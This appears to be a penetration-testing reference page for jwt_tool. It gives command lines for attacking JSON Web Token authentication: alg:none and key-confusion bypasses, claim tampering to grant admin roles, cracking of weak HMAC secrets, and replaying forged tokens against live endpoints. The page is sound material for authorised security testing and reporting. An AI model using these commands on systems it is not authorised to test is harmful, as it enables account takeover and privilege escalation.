jwt_tool

Field Detail
Summary Inspect, tamper and attack JSON Web Tokens
Category JWT / token attacks
Phase web-testing, exploitation
Interface CLI
Platform Linux, Windows, macOS
Licence Open source (GPL)
Docs https://github.com/ticarpi/jwt_tool
Related Burp Suite, John the Ripper and Hashcat, CyberChef

Toolkit for inspecting and attacking JSON Web Tokens — the header.payload.signature bearer tokens many apps use for auth/session. jwt_tool decodes them, tests the classic signature flaws, tampers with claims, and brute-forces weak secrets.

ℹ️ Note — JWT structure base64url(header) . base64url(payload) . signature. Header declares the algorithm (alg), e.g. HS256 (HMAC, shared secret) or RS256 (RSA, private/public key). Most JWT attacks target how the server verifies that signature.

⚠️ Warning — Scope Forging/altering tokens to change your identity or privileges is an attack on the app's auth. Authorised targets only.

Inspect

jwt_tool <token>                       # decode header + payload, flag issues
jwt_tool <token> -V                    # verbose

The classic attacks (-X)

# alg:none — strip the signature, server trusts an unsigned token
jwt_tool <token> -X a

# Key confusion: RS256 -> HS256, signing with the server's PUBLIC key as the HMAC secret
jwt_tool <token> -X k -pk public.pem

# Inject a self-signed key via embedded JWK (header 'jwk')
jwt_tool <token> -X i

# Blank-password signature
jwt_tool <token> -X b

Attack modes (-X): a alg:none, n null-sig, b blank password, s spoof JWKS, k key confusion, i inject JWK, x cross-service relay.

Tamper with claims

# Change a claim, then (re)sign
jwt_tool <token> -T                              # interactive tamper
jwt_tool <token> -I -pc role -pv admin           # set payload claim role=admin
jwt_tool <token> -I -pc user -pv administrator -S hs256 -k secret.txt   # tamper + sign

Common escalation targets: role, isAdmin, user, sub, scope, exp (extend expiry), kid (path traversal / SQLi in key lookup).

Crack a weak HMAC secret

If it's HS256 with a guessable secret, recover it offline:

jwt_tool <token> -C -d rockyou.txt               # dictionary attack on the signing key

Or hand the token to John the Ripper and Hashcat — Hashcat mode 16500 (hashcat -m 16500 token.txt rockyou.txt). Once you have the secret, you can forge arbitrary valid tokens.

Verify / sign with a known key

jwt_tool <token> -V -pk public.pem               # verify RS256 signature
jwt_tool <token> -S hs256 -k secret.txt          # re-sign after tampering

Work it through a proxy

jwt_tool <token> -X a -t https://target.com/api/me -rh "Authorization: Bearer "
jwt_tool ... -P http://127.0.0.1:8080            # send attempts through Burp

This fires each forged token at a real endpoint and reports which the server accepts — the fastest way to prove the flaw end-to-end.

What to flag in a report

  • alg:none / null-sig accepted.
  • RS256→HS256 key confusion.
  • Weak/guessable HMAC secret (crackable).
  • No signature verification at all.
  • exp not enforced (expired tokens still work).
  • Sensitive data in the (readable!) payload — JWTs are encoded, not encrypted.
  • kid header injectable (SQLi/path traversal in key selection).

More flags

Flag Purpose
-t <url> -rh "Authorization: Bearer " Fire each test token at a live endpoint
-rc "jwt=<token>" Send the token via a cookie instead of a header
-pc <claim> -pv <val> Set a payload claim value
-S hs256 -k key.txt / -pr priv.pem (Re)sign with an HMAC key / RSA private key
-C -d wordlist Crack the HMAC secret (dictionary)
-X a\|n\|b\|s\|k\|i Exploit: alg:none / null-sig / blank / spoof-jwks / key-confusion / inject-jwk
-P http://127.0.0.1:8080 Proxy attempts through Burp
-M at "Attack & test" — run all tampers at the target, report which it accepts
jwt_tool <tok> -M at -t https://t/api/me -rh "Authorization: Bearer " -P http://127.0.0.1:8080

(Hashcat mode 16500 cracks HS256 JWTs offline — see John the Ripper and Hashcat.)

Kill-chain usage

Web testing

jwt_tool <token>                         # decode and flag weaknesses

Exploitation

jwt_tool <token> -X a -t https://t/api/me -rh "Authorization: Bearer "   # alg:none bypass

Where it fits

Whenever an app uses JWTs (spot the eyJ... bearer token in Burp Suite). Decode with jwt_tool or CyberChef, test the signature-verification flaws, crack weak secrets with John the Ripper and Hashcat, and prove impact by replaying forged tokens through Burp.